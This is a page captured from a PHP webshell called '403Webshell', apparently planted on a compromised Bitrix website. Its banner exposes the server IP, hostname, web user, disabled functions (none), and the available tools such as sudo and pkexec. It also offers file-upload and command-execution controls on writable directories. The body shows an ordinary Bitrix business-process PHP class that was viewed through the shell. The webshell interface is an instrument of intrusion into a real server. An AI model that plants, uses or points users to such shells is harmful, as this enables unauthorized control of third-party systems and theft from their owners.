403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/iblock/lib/bizproctype/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/iblock/lib/bizproctype/usertypeproperty.php
<?php

namespace Bitrix\Iblock\BizprocType;

use Bitrix\Bizproc\BaseType;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\Loader;
use Bitrix\Main\Type;

if (Loader::requireModule('bizproc'))
{
	class UserTypeProperty extends BaseType\Base
	{
		/**
		 * @return string
		 */
		public static function getType()
		{
			return FieldType::STRING;
		}

		/**
		 * @param FieldType $fieldType
		 * @param $value
		 * @return string
		 */
		protected static function formatValuePrintable(FieldType $fieldType, $value)
		{
			$userType = static::getUserType($fieldType);
			if (is_array($value) && isset($value['VALUE']))
				$value = $value['VALUE'];

			if (!empty($userType['GetPublicViewHTML']))
			{
				$result = call_user_func_array(
					$userType['GetPublicViewHTML'],
					array(
						array('LINK_IBLOCK_ID' => $fieldType->getOptions()),
						array('VALUE' => $value),
						['MODE' => 'BIZPROC']
					)
				);

				//replace empty links
				$result = str_replace('<a href="">', '<a>', $result);
				return HTMLToTxt($result);
			}
			return parent::formatValuePrintable($fieldType, $value);
		}

		/**
		 * @param FieldType $fieldType Document field object.
		 * @param mixed $value Field value.
		 * @param string $toTypeClass Type class manager name.
		 * @return null|mixed
		 */
		public static function convertTo(FieldType $fieldType, $value, $toTypeClass)
		{
			if (is_array($value) && isset($value['VALUE']))
				$value = $value['VALUE'];

			$value = (string) $value;
			//BaseType\String was removed for PHP7 compatibility
			if (class_exists('\Bitrix\Bizproc\BaseType\StringType'))
				return BaseType\StringType::convertTo($fieldType, $value, $toTypeClass);
			return BaseType\String::convertTo($fieldType, $value, $toTypeClass);
		}

		/**
		 * Return conversion map for current type.
		 * @return array Map.
		 */
		public static function getConversionMap()
		{
			return BaseType\StringType::getConversionMap();
		}

		/**
		 * @param FieldType $fieldType Document field object.
		 * @param array $field Form field information.
		 * @param mixed $value Field value.
		 * @param bool $allowSelection Allow selection flag.
		 * @param int $renderMode Control render mode.
		 * @return string
		 */
		public static function renderControlSingle(FieldType $fieldType, array $field, $value, $allowSelection, $renderMode)
		{
			$selectorValue = null;
			if (\CBPActivity::isExpression($value))
			{
				$selectorValue = $value;
				$value = null;
			}

			$userType = static::getUserType($fieldType);

			if (!empty($userType['GetPublicEditHTML']))
			{
				if (is_array($value) && isset($value['VALUE']))
					$value = $value['VALUE'];

				$renderResult = call_user_func_array(
					$userType['GetPublicEditHTML'],
					[
						[
							'LINK_IBLOCK_ID' => $fieldType->getOptions(),
							'FORMAT_NAME' =>
								\Bitrix\Main\Application::getInstance()
									->getContext()
									->getCulture()
									->getNameFormat()
							,
						],
						['VALUE' => $value],
						[
							'FORM_NAME' => $field['Form'],
							'VALUE' => static::generateControlName($field)
						],
						true
					]
				);
			}
			else
				$renderResult = static::renderControl($fieldType, $field, $value, $allowSelection, $renderMode);

			if ($allowSelection)
			{
				$renderResult .= static::renderControlSelector($field, $selectorValue, true, '', $fieldType);
			}

			return $renderResult;
		}

		/**
		 * @param FieldType $fieldType Document field object.
		 * @param array $field Form field information.
		 * @param mixed $value Field value.
		 * @param bool $allowSelection Allow selection flag.
		 * @param int $renderMode Control render mode.
		 * @return string
		 */
		public static function renderControlMultiple(FieldType $fieldType, array $field, $value, $allowSelection, $renderMode)
		{
			$selectorValue = null;
			$typeValue = array();
			if (!is_array($value) || is_array($value) && \CBPHelper::isAssociativeArray($value))
				$value = array($value);

			foreach ($value as $v)
			{
				if (\CBPActivity::isExpression($v))
					$selectorValue = $v;
				else
					$typeValue[] = $v;
			}

			$userType = static::getUserType($fieldType);

			if (!empty($userType['GetPublicEditHTMLMulty']))
			{
				foreach ($typeValue as $k => &$fld)
				{
					if (!is_array($fld) || !isset($fld['VALUE']))
						$fld = array('VALUE' => $fld);
					if ($fld['VALUE'] === null)
						unset($typeValue[$k]);
				}
				$typeValue = array_values($typeValue);

				$renderResult = call_user_func_array(
					$userType['GetPublicEditHTMLMulty'],
					array(
						array('LINK_IBLOCK_ID' => $fieldType->getOptions()),
						$typeValue,
						array(
							'FORM_NAME' => $field['Form'],
							'VALUE' => static::generateControlName($field)
						),
						true
					)
				);
			}
			else
			{
				$controls = array();
				// need to show at least one control
				if (empty($typeValue))
					$typeValue[] = null;

				foreach ($typeValue as $k => $v)
				{
					$singleField = $field;
					$singleField['Index'] = $k;
					$controls[] = static::renderControlSingle(
						$fieldType,
						$singleField,
						$v,
						$allowSelection,
						$renderMode
					);
				}

				$renderResult = static::wrapCloneableControls($controls, static::generateControlName($field));
			}

			if ($allowSelection)
			{
				$renderResult .= static::renderControlSelector($field, $selectorValue, true, '', $fieldType);
			}

			return $renderResult;
		}

		/**
		 * @param FieldType $fieldType
		 * @param array $field
		 * @param array $request
		 * @return null|mixed
		 */
		protected static function extractValue(FieldType $fieldType, array $field, array $request)
		{
			$value = parent::extractValue($fieldType, $field, $request);
			if (is_array($value) && isset($value['VALUE']))
				$value = $value['VALUE'];

			$userType = static::getUserType($fieldType);

			if (array_key_exists('GetLength', $userType))
			{
				if (call_user_func_array(
						$userType['GetLength'],
						array(
							array('LINK_IBLOCK_ID' => $fieldType->getOptions()),
							array('VALUE' => $value)
						)
					) <= 0)
				{
					$value = null;
				}
			}

			if ($value != null && array_key_exists('CheckFields', $userType))
			{
				$errors = call_user_func_array(
					$userType['CheckFields'],
					array(
						array('LINK_IBLOCK_ID' => $fieldType->getOptions()),
						array('VALUE' => $value)
					)
				);
				if (sizeof($errors) > 0)
				{
					$value = null;
					foreach ($errors as $e)
						static::addError(array(
							'code' => 'ErrorValue',
							'message' => $e,
							'parameter' => static::generateControlName($field),
						));
				}
			}
			elseif ($value === '' && !array_key_exists('GetLength', $userType))
				$value = null;

			return $value;
		}

		protected static function getUserType(FieldType $fieldType)
		{
			return \CIBlockProperty::getUserType(mb_substr($fieldType->getType(), 2));
		}

	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit